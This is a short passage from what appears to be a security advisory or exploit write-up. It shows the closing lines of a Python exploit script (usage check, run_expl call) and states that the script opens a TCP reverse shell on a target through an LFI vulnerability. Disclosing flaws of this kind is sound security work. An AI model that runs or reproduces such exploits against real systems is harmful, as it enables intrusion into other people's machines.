        print ("[-] Usage: %s serverIP" % sys.argv[0])
        sys.exit()
        
    _pid = self_stat()

    run_expl()

After executing the script above a successfull tcp reverse connection to the target machine is obtained. The following screenshot shows the successfull reverse shell connection leveraging the LFI vulnerability at the target application.

PoC